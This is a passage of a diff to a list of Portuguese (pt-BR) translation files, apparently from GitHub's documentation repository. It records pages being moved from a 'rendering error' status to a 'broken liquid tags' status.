-translations/pt-BR/content/authentication/managing-commit-signature-verification/signing-tags.md,rendering error
-translations/pt-BR/content/authentication/managing-commit-signature-verification/telling-git-about-your-signing-key.md,rendering error
-translations/pt-BR/content/authentication/securing-your-account-with-two-factor-authentication-2fa/accessing-github-using-two-factor-authentication.md,rendering error
-translations/pt-BR/content/authentication/securing-your-account-with-two-factor-authentication-2fa/changing-two-factor-authentication-delivery-methods-for-your-mobile-device.md,rendering error
-translations/pt-BR/content/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods.md,rendering error
-translations/pt-BR/content/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication.md,rendering error
-translations/pt-BR/content/authentication/securing-your-account-with-two-factor-authentication-2fa/index.md,rendering error
-translations/pt-BR/content/authentication/securing-your-account-with-two-factor-authentication-2fa/recovering-your-account-if-you-lose-your-2fa-credentials.md,rendering error
-translations/pt-BR/content/authentication/troubleshooting-commit-signature-verification/checking-your-commit-and-tag-signature-verification-status.md,rendering error
-translations/pt-BR/content/authentication/troubleshooting-commit-signature-verification/index.md,rendering error
-translations/pt-BR/content/authentication/troubleshooting-ssh/error-agent-admitted-failure-to-sign.md,rendering error
+translations/pt-BR/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/allowing-built-in-authentication-for-users-outside-your-identity-provider.md,broken liquid tags
+translations/pt-BR/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-saml.md,broken liquid tags
+translations/pt-BR/content/admin/configuration/configuring-your-enterprise/configuring-rate-limits.md,broken liquid tags
+translations/pt-BR/content/admin/configuration/configuring-your-enterprise/site-admin-dashboard.md,broken liquid tags
+translations/pt-BR/content/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud.md,broken liquid tags
+translations/pt-BR/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-contributions-between-your-enterprise-account-and-githubcom.md,broken liquid tags
+translations/pt-BR/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-search-between-your-enterprise-account-and-githubcom.md,broken liquid tags
+translations/pt-BR/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-cpu-or-memory-resources.md,broken liquid tags
+translations/pt-BR/content/admin/enterprise-support/overview/about-github-enterprise-support.md,broken liquid tags
+translations/pt-BR/content/admin/user-management/managing-organizations-in-your-enterprise/creating-teams.md,broken liquid tags
+translations/pt-BR/content/admin/user-management/managing-repositories-in-your-enterprise/configuring-git-large-file-storage-for-your-enterprise.md,broken liquid tags
+translations/pt-BR/content/admin/user-management/managing-users-in-your-enterprise/promoting-or-demoting-a-site-administrator.md,broken liquid tags
+translations/pt-BR/content/admin/user-management/managing-users-in-your-enterprise/suspending-and-unsuspending-users.md,broken liquid tags
 translations/pt-BR/content/authentication/troubleshooting-ssh/error-permission-denied-publickey.md,Listed in localization-support#489
-translations/pt-BR/content/authentication/troubleshooting-ssh/error-permission-denied-publickey.md,rendering error
-translations/pt-BR/content/authentication/troubleshooting-ssh/error-unknown-key-type.md,rendering error
-translations/pt-BR/content/authentication/troubleshooting-ssh/index.md,rendering error
-translations/pt-BR/content/authentication/troubleshooting-ssh/recovering-your-ssh-key-passphrase.md,rendering error
-translations/pt-BR/content/billing/index.md,rendering error
-translations/pt-BR/content/billing/managing-billing-for-git-large-file-storage/downgrading-git-large-file-storage.md,rendering error
-translations/pt-BR/content/billing/managing-billing-for-git-large-file-storage/index.md,rendering error
-translations/pt-BR/content/billing/managing-billing-for-git-large-file-storage/upgrading-git-large-file-storage.md,rendering error
-translations/pt-BR/content/billing/managing-billing-for-git-large-file-storage/viewing-your-git-large-file-storage-usage.md,rendering error
-translations/pt-BR/content/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security.md,rendering error
-translations/pt-BR/content/billing/managing-billing-for-github-marketplace-apps/canceling-a-github-marketplace-app.md,rendering error
-translations/pt-BR/content/billing/managing-billing-for-github-marketplace-apps/downgrading-the-billing-plan-for-a-github-marketplace-app.md,rendering error
-translations/pt-BR/content/billing/managing-billing-for-github-marketplace-apps/index.md,rendering error
-translations/pt-BR/content/billing/managing-billing-for-github-marketplace-apps/upgrading-the-billing-plan-for-a-github-marketplace-app.md,rendering error
-translations/pt-BR/content/billing/managing-billing-for-your-github-account/about-billing-for-github-accounts.md,rendering error
-translations/pt-BR/content/billing/managing-billing-for-your-github-account/discounted-subscriptions-for-github-accounts.md,rendering error
-translations/pt-BR/content/billing/managing-billing-for-your-github-account/downgrading-your-github-subscription.md,rendering error
-translations/pt-BR/content/billing/managing-billing-for-your-github-account/index.md,rendering error
-translations/pt-BR/content/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription.md,rendering error
-translations/pt-BR/content/billing/managing-billing-for-your-github-account/viewing-and-managing-pending-changes-to-your-subscription.md,rendering error
-translations/pt-BR/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/about-visual-studio-subscriptions-with-github-enterprise.md,rendering error
-translations/pt-BR/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/index.md,rendering error
-translations/pt-BR/content/billing/managing-licenses-for-visual-studio-subscriptions-with-github-enterprise/setting-up-visual-studio-subscriptions-with-github-enterprise.md,rendering error
-translations/pt-BR/content/billing/managing-your-github-billing-settings/adding-information-to-your-receipts.md,rendering error
-translations/pt-BR/content/billing/managing-your-github-billing-settings/adding-or-editing-a-payment-method.md,rendering error
-translations/pt-BR/content/billing/managing-your-github-billing-settings/changing-the-duration-of-your-billing-cycle.md,rendering error
-translations/pt-BR/content/billing/managing-your-github-billing-settings/index.md,rendering error
-translations/pt-BR/content/billing/managing-your-github-billing-settings/redeeming-a-coupon.md,rendering error
-translations/pt-BR/content/billing/managing-your-github-billing-settings/removing-a-payment-method.md,rendering error
-translations/pt-BR/content/billing/managing-your-github-billing-settings/setting-your-billing-email.md,rendering error
-translations/pt-BR/content/billing/managing-your-github-billing-settings/troubleshooting-a-declined-credit-card-charge.md,rendering error
-translations/pt-BR/content/billing/managing-your-github-billing-settings/unlocking-a-locked-account.md,rendering error
-translations/pt-BR/content/billing/managing-your-github-billing-settings/viewing-your-payment-history-and-receipts.md,rendering error
-translations/pt-BR/content/billing/managing-your-github-billing-settings/viewing-your-subscriptions-and-billing-date.md,rendering error
-translations/pt-BR/content/billing/managing-your-license-for-github-enterprise/index.md,rendering error
-translations/pt-BR/content/billing/setting-up-paid-organizations-for-procurement-companies/about-organizations-for-procurement-companies.md,rendering error
-translations/pt-BR/content/billing/setting-up-paid-organizations-for-procurement-companies/creating-and-paying-for-an-organization-on-behalf-of-a-client.md,rendering error
-translations/pt-BR/content/billing/setting-up-paid-organizations-for-procurement-companies/index.md,rendering error
-translations/pt-BR/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql.md,rendering error
-translations/pt-BR/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning.md,rendering error
-translations/pt-BR/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-the-codeql-workflow-for-compiled-languages.md,rendering error
-translations/pt-BR/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/index.md,rendering error
-translations/pt-BR/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository.md,rendering error
-translations/pt-BR/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/recommended-hardware-resources-for-running-codeql.md,rendering error
-translations/pt-BR/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/running-codeql-code-scanning-in-a-container.md,rendering error
-translations/pt-BR/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository.md,rendering error
-translations/pt-BR/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/tracking-code-scanning-alerts-in-issues-using-task-lists.md,rendering error
-translations/pt-BR/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/triaging-code-scanning-alerts-in-pull-requests.md,rendering error
-translations/pt-BR/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow.md,rendering error
-translations/pt-BR/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/viewing-code-scanning-logs.md,rendering error
-translations/pt-BR/content/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning.md,rendering error
-translations/pt-BR/content/code-security/code-scanning/integrating-with-code-scanning/uploading-a-sarif-file-to-github.md,rendering error
-translations/pt-BR/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system.md,rendering error
-translations/pt-BR/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system.md,rendering error
-translations/pt-BR/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-runner-in-your-ci-system.md,rendering error
-translations/pt-BR/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system.md,rendering error
-translations/pt-BR/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/migrating-from-the-codeql-runner-to-codeql-cli.md,rendering error
-translations/pt-BR/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/running-codeql-runner-in-your-ci-system.md,rendering error
-translations/pt-BR/content/code-security/getting-started/adding-a-security-policy-to-your-repository.md,rendering error
-translations/pt-BR/content/code-security/getting-started/github-security-features.md,rendering error
-translations/pt-BR/content/code-security/getting-started/securing-your-organization.md,rendering error
-translations/pt-BR/content/code-security/getting-started/securing-your-repository.md,rendering error
-translations/pt-BR/content/code-security/guides.md,rendering error
-translations/pt-BR/content/code-security/secret-scanning/about-secret-scanning.md,rendering error
-translations/pt-BR/content/code-security/secret-scanning/configuring-secret-scanning-for-your-repositories.md,rendering error
-translations/pt-BR/content/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning.md,rendering error
-translations/pt-BR/content/code-security/secret-scanning/managing-alerts-from-secret-scanning.md,rendering error
-translations/pt-BR/content/code-security/security-overview/about-the-security-overview.md,rendering error
-translations/pt-BR/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions.md,rendering error
-translations/pt-BR/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies.md,rendering error
-translations/pt-BR/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates.md,rendering error
-translations/pt-BR/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/browsing-security-vulnerabilities-in-the-github-advisory-database.md,rendering error
-translations/pt-BR/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-notifications-for-vulnerable-dependencies.md,rendering error
-translations/pt-BR/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/index.md,rendering error
-translations/pt-BR/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-the-detection-of-vulnerable-dependencies.md,rendering error
-translations/pt-BR/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/viewing-and-updating-vulnerable-dependencies-in-your-repository.md,rendering error
-translations/pt-BR/content/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph.md,rendering error
-translations/pt-BR/content/codespaces/codespaces-reference/allowing-your-codespace-to-access-a-private-image-registry.md,rendering error
-translations/pt-BR/content/codespaces/codespaces-reference/disaster-recovery-for-codespaces.md,rendering error
-translations/pt-BR/content/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace.md,rendering error
-translations/pt-BR/content/codespaces/customizing-your-codespace/index.md,rendering error
-translations/pt-BR/content/codespaces/customizing-your-codespace/personalizing-codespaces-for-your-account.md,rendering error
-translations/pt-BR/content/codespaces/customizing-your-codespace/prebuilding-codespaces-for-your-project.md,rendering error
-translations/pt-BR/content/codespaces/customizing-your-codespace/setting-your-default-editor-for-codespaces.md,rendering error
-translations/pt-BR/content/codespaces/customizing-your-codespace/setting-your-default-region-for-codespaces.md,rendering error
-translations/pt-BR/content/codespaces/customizing-your-codespace/setting-your-timeout-period-for-codespaces.md,rendering error
-translations/pt-BR/content/codespaces/developing-in-codespaces/codespaces-lifecycle.md,rendering error
-translations/pt-BR/content/codespaces/developing-in-codespaces/connecting-to-a-private-network.md,rendering error
-translations/pt-BR/content/codespaces/developing-in-codespaces/creating-a-codespace.md,rendering error
-translations/pt-BR/content/codespaces/developing-in-codespaces/default-environment-variables-for-your-codespace.md,rendering error
-translations/pt-BR/content/codespaces/developing-in-codespaces/deleting-a-codespace.md,rendering error
-translations/pt-BR/content/codespaces/developing-in-codespaces/developing-in-a-codespace.md,rendering error
-translations/pt-BR/content/codespaces/developing-in-codespaces/index.md,rendering error
-translations/pt-BR/content/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code.md,rendering error
-translations/pt-BR/content/codespaces/developing-in-codespaces/using-source-control-in-your-codespace.md,rendering error
-translations/pt-BR/content/codespaces/getting-started/deep-dive.md,rendering error
-translations/pt-BR/content/codespaces/guides.md,rendering error
-translations/pt-BR/content/codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization.md,rendering error
-translations/pt-BR/content/codespaces/managing-codespaces-for-your-organization/managing-billing-for-codespaces-in-your-organization.md,rendering error
-translations/pt-BR/content/codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces.md,rendering error
-translations/pt-BR/content/codespaces/managing-your-codespaces/index.md,rendering error
-translations/pt-BR/content/codespaces/overview.md,rendering error
-translations/pt-BR/content/codespaces/setting-up-your-project-for-codespaces/configuring-codespaces-for-your-project.md,rendering error
-translations/pt-BR/content/codespaces/setting-up-your-project-for-codespaces/index.md,rendering error
-translations/pt-BR/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-dotnet-project-for-codespaces.md,rendering error
-translations/pt-BR/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-java-project-for-codespaces.md,rendering error
-translations/pt-BR/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-nodejs-project-for-codespaces.md,rendering error
-translations/pt-BR/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces.md,rendering error
-translations/pt-BR/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-python-project-for-codespaces.md,rendering error
-translations/pt-BR/content/codespaces/troubleshooting/troubleshooting-codespaces-clients.md,rendering error
-translations/pt-BR/content/communities/documenting-your-project-with-wikis/about-wikis.md,rendering error
-translations/pt-BR/content/communities/documenting-your-project-with-wikis/adding-or-editing-wiki-pages.md,rendering error
-translations/pt-BR/content/communities/documenting-your-project-with-wikis/creating-a-footer-or-sidebar-for-your-wiki.md,rendering error
-translations/pt-BR/content/communities/documenting-your-project-with-wikis/editing-wiki-content.md,rendering error
-translations/pt-BR/content/communities/documenting-your-project-with-wikis/index.md,rendering error
-translations/pt-BR/content/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-organization.md,rendering error
-translations/pt-BR/content/communities/moderating-comments-and-conversations/limiting-interactions-in-your-organization.md,rendering error
-translations/pt-BR/content/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository.md,rendering error
-translations/pt-BR/content/communities/moderating-comments-and-conversations/managing-disruptive-comments.md,rendering error
-translations/pt-BR/content/communities/setting-up-your-project-for-healthy-contributions/about-community-profiles-for-public-repositories.md,rendering error
-translations/pt-BR/content/communities/setting-up-your-project-for-healthy-contributions/index.md,rendering error
-translations/pt-BR/content/communities/setting-up-your-project-for-healthy-contributions/setting-guidelines-for-repository-contributors.md,rendering error
-translations/pt-BR/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/index.md,rendering error
-translations/pt-BR/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/manually-creating-a-single-issue-template-for-your-repository.md,rendering error
-translations/pt-BR/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-githubs-form-schema.md,rendering error
-translations/pt-BR/content/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/managing-branches.md,rendering error
-translations/pt-BR/content/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/creating-an-issue-or-pull-request.md,rendering error
-translations/pt-BR/content/desktop/installing-and-configuring-github-desktop/overview/creating-your-first-repository-using-github-desktop.md,rendering error
-translations/pt-BR/content/desktop/installing-and-configuring-github-desktop/overview/keyboard-shortcuts.md,rendering error
-translations/pt-BR/content/developers/apps/building-github-apps/authenticating-with-github-apps.md,rendering error
-translations/pt-BR/content/developers/apps/building-github-apps/creating-a-github-app-from-a-manifest.md,rendering error
-translations/pt-BR/content/developers/apps/building-github-apps/creating-a-github-app-using-url-parameters.md,rendering error
-translations/pt-BR/content/developers/apps/building-github-apps/creating-a-github-app.md,rendering error
-translations/pt-BR/content/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps.md,rendering error
-translations/pt-BR/content/developers/apps/building-github-apps/index.md,rendering error
-translations/pt-BR/content/developers/apps/building-github-apps/managing-allowed-ip-addresses-for-a-github-app.md,rendering error
-translations/pt-BR/content/developers/apps/building-github-apps/rate-limits-for-github-apps.md,rendering error
-translations/pt-BR/content/developers/apps/building-github-apps/refreshing-user-to-server-access-tokens.md,rendering error
-translations/pt-BR/content/developers/apps/building-github-apps/setting-permissions-for-github-apps.md,rendering error
-translations/pt-BR/content/developers/apps/building-oauth-apps/authorizing-oauth-apps.md,rendering error
-translations/pt-BR/content/developers/apps/building-oauth-apps/creating-an-oauth-app.md,rendering error
-translations/pt-BR/content/developers/apps/building-oauth-apps/index.md,rendering error
-translations/pt-BR/content/developers/apps/building-oauth-apps/scopes-for-oauth-apps.md,rendering error
-translations/pt-BR/content/developers/apps/getting-started-with-apps/about-apps.md,rendering error
-translations/pt-BR/content/developers/apps/getting-started-with-apps/differences-between-github-apps-and-oauth-apps.md,rendering error
-translations/pt-BR/content/developers/apps/getting-started-with-apps/migrating-oauth-apps-to-github-apps.md,rendering error
-translations/pt-BR/content/developers/apps/guides/index.md,rendering error
-translations/pt-BR/content/developers/apps/guides/using-content-attachments.md,rendering error
-translations/pt-BR/content/developers/apps/guides/using-the-github-api-in-your-app.md,rendering error
-translations/pt-BR/content/developers/apps/index.md,rendering error
-translations/pt-BR/content/developers/apps/managing-github-apps/deleting-a-github-app.md,rendering error
-translations/pt-BR/content/developers/apps/managing-github-apps/editing-a-github-apps-permissions.md,rendering error
-translations/pt-BR/content/developers/apps/managing-github-apps/index.md,rendering error
-translations/pt-BR/content/developers/apps/managing-github-apps/making-a-github-app-public-or-private.md,rendering error
-translations/pt-BR/content/developers/apps/managing-github-apps/modifying-a-github-app.md,rendering error
-translations/pt-BR/content/developers/apps/managing-github-apps/transferring-ownership-of-a-github-app.md,rendering error
-translations/pt-BR/content/developers/apps/managing-oauth-apps/deleting-an-oauth-app.md,rendering error
-translations/pt-BR/content/developers/apps/managing-oauth-apps/index.md,rendering error
-translations/pt-BR/content/developers/apps/managing-oauth-apps/modifying-an-oauth-app.md,rendering error
-translations/pt-BR/content/developers/apps/managing-oauth-apps/transferring-ownership-of-an-oauth-app.md,rendering error
-translations/pt-BR/content/developers/apps/managing-oauth-apps/troubleshooting-authorization-request-errors.md,rendering error
-translations/pt-BR/content/developers/apps/managing-oauth-apps/troubleshooting-oauth-app-access-token-request-errors.md,rendering error
-translations/pt-BR/content/developers/github-marketplace/creating-apps-for-github-marketplace/requirements-for-listing-an-app.md,rendering error
-translations/pt-BR/content/developers/github-marketplace/creating-apps-for-github-marketplace/security-best-practices-for-apps.md,rendering error
-translations/pt-BR/content/developers/github-marketplace/creating-apps-for-github-marketplace/viewing-metrics-for-your-listing.md,rendering error
-translations/pt-BR/content/developers/github-marketplace/github-marketplace-overview/about-github-marketplace.md,rendering error
-translations/pt-BR/content/developers/github-marketplace/index.md,rendering error
-translations/pt-BR/content/developers/github-marketplace/listing-an-app-on-github-marketplace/configuring-a-webhook-to-notify-you-of-plan-changes.md,rendering error
-translations/pt-BR/content/developers/github-marketplace/listing-an-app-on-github-marketplace/drafting-a-listing-for-your-app.md,rendering error
-translations/pt-BR/content/developers/github-marketplace/listing-an-app-on-github-marketplace/index.md,rendering error
-translations/pt-BR/content/developers/github-marketplace/listing-an-app-on-github-marketplace/setting-pricing-plans-for-your-listing.md,rendering error
-translations/pt-BR/content/developers/github-marketplace/listing-an-app-on-github-marketplace/writing-a-listing-description-for-your-app.md,rendering error
-translations/pt-BR/content/developers/github-marketplace/selling-your-app-on-github-marketplace/billing-customers.md,rendering error
-translations/pt-BR/content/developers/github-marketplace/selling-your-app-on-github-marketplace/index.md,rendering error
-translations/pt-BR/content/developers/github-marketplace/selling-your-app-on-github-marketplace/pricing-plans-for-github-marketplace-apps.md,rendering error
-translations/pt-BR/content/developers/github-marketplace/selling-your-app-on-github-marketplace/receiving-payment-for-app-purchases.md,rendering error
-translations/pt-BR/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-new-purchases-and-free-trials.md,rendering error
-translations/pt-BR/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-plan-cancellations.md,rendering error
-translations/pt-BR/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-plan-changes.md,rendering error
-translations/pt-BR/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/index.md,rendering error
-translations/pt-BR/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/rest-endpoints-for-the-github-marketplace-api.md,rendering error
-translations/pt-BR/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/testing-your-app.md,rendering error
-translations/pt-BR/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/webhook-events-for-the-github-marketplace-api.md,rendering error
-translations/pt-BR/content/developers/overview/managing-deploy-keys.md,rendering error
-translations/pt-BR/content/developers/overview/replacing-github-services.md,rendering error
-translations/pt-BR/content/developers/overview/secret-scanning-partner-program.md,rendering error
-translations/pt-BR/content/developers/overview/using-ssh-agent-forwarding.md,rendering error
-translations/pt-BR/content/developers/webhooks-and-events/events/issue-event-types.md,rendering error
-translations/pt-BR/content/developers/webhooks-and-events/webhooks/securing-your-webhooks.md,rendering error
-translations/pt-BR/content/developers/webhooks-and-events/webhooks/webhook-events-and-payloads.md,rendering error
-translations/pt-BR/content/discussions/collaborating-with-your-community-using-discussions/about-discussions.md,rendering error
-translations/pt-BR/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-campus-advisors.md,rendering error
-translations/pt-BR/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-github-campus-program.md,rendering error
-translations/pt-BR/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/why-wasnt-my-application-for-a-student-developer-pack-approved.md,rendering error
-translations/pt-BR/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/apply-for-an-educator-or-researcher-discount.md,rendering error
-translations/pt-BR/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/why-wasnt-my-application-for-an-educator-or-researcher-discount-approved.md,rendering error
-translations/pt-BR/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/integrate-github-classroom-with-an-ide.md,rendering error
-translations/pt-BR/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/connect-a-learning-management-system-to-github-classroom.md,rendering error
-translations/pt-BR/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-a-group-assignment.md,rendering error
-translations/pt-BR/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-assignment-from-a-template-repository.md,rendering error
-translations/pt-BR/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/create-an-individual-assignment.md,rendering error
-translations/pt-BR/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/manage-classrooms.md,rendering error
-translations/pt-BR/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-autograding.md,rendering error
-translations/pt-BR/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/use-the-git-and-github-starter-assignment.md,rendering error
-translations/pt-BR/content/get-started/exploring-projects-on-github/finding-ways-to-contribute-to-open-source-on-github.md,rendering error
-translations/pt-BR/content/get-started/exploring-projects-on-github/index.md,rendering error
-translations/pt-BR/content/get-started/exploring-projects-on-github/saving-repositories-with-stars.md,rendering error
-translations/pt-BR/content/get-started/getting-started-with-git/about-remote-repositories.md,rendering error
-translations/pt-BR/content/get-started/getting-started-with-git/associating-text-editors-with-git.md,rendering error
-translations/pt-BR/content/get-started/getting-started-with-git/caching-your-github-credentials-in-git.md,rendering error
-translations/pt-BR/content/get-started/getting-started-with-git/configuring-git-to-handle-line-endings.md,rendering error
-translations/pt-BR/content/get-started/getting-started-with-git/git-workflows.md,rendering error
-translations/pt-BR/content/get-started/getting-started-with-git/ignoring-files.md,rendering error
-translations/pt-BR/content/get-started/getting-started-with-git/index.md,rendering error
-translations/pt-BR/content/get-started/getting-started-with-git/managing-remote-repositories.md,rendering error
-translations/pt-BR/content/get-started/getting-started-with-git/updating-credentials-from-the-macos-keychain.md,rendering error
-translations/pt-BR/content/get-started/index.md,rendering error
-translations/pt-BR/content/get-started/learning-about-github/about-github-advanced-security.md,rendering error
-translations/pt-BR/content/get-started/learning-about-github/about-versions-of-github-docs.md,rendering error
-translations/pt-BR/content/get-started/learning-about-github/access-permissions-on-github.md,rendering error
-translations/pt-BR/content/get-started/learning-about-github/githubs-products.md,rendering error
-translations/pt-BR/content/get-started/learning-about-github/index.md,rendering error
-translations/pt-BR/content/get-started/learning-about-github/types-of-github-accounts.md,rendering error
-translations/pt-BR/content/get-started/onboarding/getting-started-with-github-ae.md,rendering error
-translations/pt-BR/content/get-started/onboarding/getting-started-with-github-enterprise-cloud.md,rendering error
-translations/pt-BR/content/get-started/onboarding/getting-started-with-github-enterprise-server.md,rendering error
-translations/pt-BR/content/get-started/onboarding/getting-started-with-github-team.md,rendering error
-translations/pt-BR/content/get-started/onboarding/getting-started-with-your-github-account.md,rendering error
-translations/pt-BR/content/get-started/quickstart/be-social.md,rendering error
-translations/pt-BR/content/get-started/quickstart/communicating-on-github.md,rendering error
-translations/pt-BR/content/get-started/quickstart/contributing-to-projects.md,rendering error
-translations/pt-BR/content/get-started/quickstart/create-a-repo.md,rendering error
-translations/pt-BR/content/get-started/quickstart/fork-a-repo.md,rendering error
-translations/pt-BR/content/get-started/quickstart/git-and-github-learning-resources.md,rendering error
-translations/pt-BR/content/get-started/quickstart/github-flow.md,rendering error
-translations/pt-BR/content/get-started/quickstart/hello-world.md,rendering error
-translations/pt-BR/content/get-started/quickstart/index.md,rendering error
-translations/pt-BR/content/get-started/quickstart/set-up-git.md,rendering error
-translations/pt-BR/content/get-started/signing-up-for-github/index.md,rendering error
-translations/pt-BR/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-ae.md,rendering error
-translations/pt-BR/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-cloud.md,rendering error
-translations/pt-BR/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-server.md,rendering error
-translations/pt-BR/content/get-started/signing-up-for-github/signing-up-for-a-new-github-account.md,rendering error
-translations/pt-BR/content/get-started/signing-up-for-github/verifying-your-email-address.md,rendering error
-translations/pt-BR/content/get-started/using-git/about-git-rebase.md,rendering error
-translations/pt-BR/content/get-started/using-git/about-git-subtree-merges.md,rendering error
-translations/pt-BR/content/get-started/using-git/about-git.md,rendering error
-translations/pt-BR/content/get-started/using-git/getting-changes-from-a-remote-repository.md,rendering error
-translations/pt-BR/content/get-started/using-git/index.md,rendering error
-translations/pt-BR/content/get-started/using-git/pushing-commits-to-a-remote-repository.md,rendering error
-translations/pt-BR/content/get-started/using-git/splitting-a-subfolder-out-into-a-new-repository.md,rendering error
-translations/pt-BR/content/get-started/using-git/using-git-rebase-on-the-command-line.md,rendering error
-translations/pt-BR/content/get-started/using-github/exploring-early-access-releases-with-feature-preview.md,rendering error
-translations/pt-BR/content/get-started/using-github/github-command-palette.md,rendering error
-translations/pt-BR/content/get-started/using-github/github-mobile.md,rendering error
-translations/pt-BR/content/get-started/using-github/index.md,rendering error
-translations/pt-BR/content/get-started/using-github/keyboard-shortcuts.md,rendering error
-translations/pt-BR/content/get-started/using-github/supported-browsers.md,rendering error
-translations/pt-BR/content/github-cli/github-cli/creating-github-cli-extensions.md,rendering error
-translations/pt-BR/content/github-cli/github-cli/github-cli-reference.md,rendering error
-translations/pt-BR/content/github/copilot/index.md,rendering error
-translations/pt-BR/content/github/customizing-your-github-workflow/exploring-integrations/about-integrations.md,rendering error
-translations/pt-BR/content/github/customizing-your-github-workflow/exploring-integrations/github-extensions-and-integrations.md,rendering error
-translations/pt-BR/content/github/extending-github/about-webhooks.md,rendering error
-translations/pt-BR/content/github/extending-github/getting-started-with-the-api.md,rendering error
-translations/pt-BR/content/github/extending-github/git-automation-with-oauth-tokens.md,rendering error
-translations/pt-BR/content/github/extending-github/index.md,rendering error
-translations/pt-BR/content/github/importing-your-projects-to-github/importing-source-code-to-github/adding-an-existing-project-to-github-using-the-command-line.md,rendering error
-translations/pt-BR/content/github/importing-your-projects-to-github/importing-source-code-to-github/importing-a-git-repository-using-the-command-line.md,rendering error
